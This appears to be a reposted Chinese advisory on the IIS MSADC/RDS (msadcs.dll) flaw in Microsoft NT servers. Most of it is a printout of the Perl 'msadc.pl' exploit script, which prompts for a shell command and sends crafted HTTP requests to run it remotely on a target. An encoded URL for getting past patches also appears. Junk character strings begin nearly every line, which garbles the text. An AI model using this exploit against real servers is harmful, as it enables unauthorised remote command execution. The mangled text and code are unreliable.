IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
%_*q'6K jOuz-1x,& 涉及程序:
|Gc2w]\3 Microsoft NT server
RS'%;B-) &|t*9D 描述:
Ol8ma`}Nq3 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
j5lSu~
nl9G1Sm(E 详细:
N7A/&~g5L 如果你没有时间读详细内容的话,就删除:
N%1T>cp0 c:\Program Files\Common Files\System\Msadc\msadcs.dll
=d#3& R]p 有关的安全问题就没有了。
%xE9vN; P{
AJH1 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
2jQ|4$9j h= uv4& 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
* A B 关于利用ODBC远程漏洞的描述,请参看:
l1X&Nw1W <mE)&7C http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm -V
Rby t/?x#X 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
VGLE5lP X http://www.microsoft.com/security/bulletins/MS99-025faq.asp &5fM8Opkd vi+k#KE 这里不再论述。
<^}{sdOyu a0y7a/@c 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
>3HLm3 T F<wwuCbF /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
&lg+uK 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
'5V2{k$4U qq0bIfF\4 52-Gk2dp #将下面这段保存为txt文件,然后: "perl -x 文件名"
c hE~UQ B2UQO4[w #!perl
(uBevU\ #
fL[(;KcAa # MSADC/RDS 'usage' (aka exploit) script
n
GE3O#fv #
ht8%A 1| # by rain.forest.puppy
we6']iaV #
b<UZDy N~ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
K*Tj; # beta test and find errors!
`>^2MHF3LT )L?JH?$C use Socket; use Getopt::Std;
T7E9l getopts("e:vd:h:XR", \%args);
'2+Rb7V FuEgI8+b print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
{}ks[%,_\ o,a3J:j] if (!defined $args{h} && !defined $args{R}) {
9OYsI print qq~
tA?P$5?-* Usage: msadc.pl -h <host> { -d <delay> -X -v }
+(d\`{A -h <host> = host you want to scan (ip or domain)
<<>?`7N -d <seconds> = delay between calls, default 1 second
Q>y2C8rnJ/ -X = dump Index Server path table, if available
9;3f`DK@2k -v = verbose
[([?+Ouy -e = external dictionary file for step 5
y>zPsc, mZ9+.lm Or a -R will resume a command session
!Kv.v7'N/k yQ)y#5/<6 ~; exit;}
wTBp=)1)f q7-Eu4w $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
uQ4WM if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Z2d,J>- if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
$_,?SXM if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
SdF*"]t $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
so h3d if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Fxwe, '\ec ,&4Z if (!defined $args{R}){ $ret = &has_msadc;
2lw0' die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
( r_xs ,]e!OZ[$m print "Please type the NT commandline you want to run (cmd /c assumed):\n"
/M>8ad . "cmd /c ";
M~Tq'>Fn $in=<STDIN>; chomp $in;
<'H^}gQow $command="cmd /c " . $in ;
#&vP(4p _iBNy if (defined $args{R}) {&load; exit;}
i>gbT+*E! GJW>8*&&( print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Hf
P2o5- &try_btcustmr;
+JE
h7 <6k5nE h print "\nStep 2: Trying to make our own DSN...";
ol^J- &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
P@LYa_UFsN V[>MKB( print "\nStep 3: Trying known DSNs...";
Y=JfV &known_dsn;
(hTe53d<S? yP\KIm! print "\nStep 4: Trying known .mdbs...";
+,=DUsI} &known_mdb;
<_&H<]t%rI >
t *+FcD if (defined $args{e}){
kDuN3 print "\nStep 5: Trying dictionary of DSN names...";
il=y m &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
F0
WM&{v |]`\ak print "Sorry Charley...maybe next time?\n";
oGpyuB@A/ exit;
wJA`e)> DZGM4|@<7Y ##############################################################################
-E1b5i;f -Y'Qa/:7 sub sendraw { # ripped and modded from whisker
mXnl-_ sleep($delay); # it's a DoS on the server! At least on mine...
+rS}f
N$L. my ($pstr)=@_;
lb3: #? socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
L{xCsJ3d die("Socket problems\n");
}9[E+8L1 if(connect(S,pack "SnA4x8",2,80,$target)){
\4y7! select(S); $|=1;
wowv>!N!X- print $pstr; my @in=<S>;
#)`N select(STDOUT); close(S);
)F;`07 return @in;
Q/ rOIHiI } else { die("Can't connect...\n"); }}
>YuBi:z 0?525^ ##############################################################################
:Rc>=)<7 E[bJ5o**# sub make_header { # make the HTTP request
k4te[6) my $msadc=<<EOT
L 1=HD POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
E/9h"zowS User-Agent: ACTIVEDATA
,a& N1G. Host: $ip
zg,?aAm Content-Length: $clen
Rk8>Ak(/ Connection: Keep-Alive
a[iuE` ur^)bp<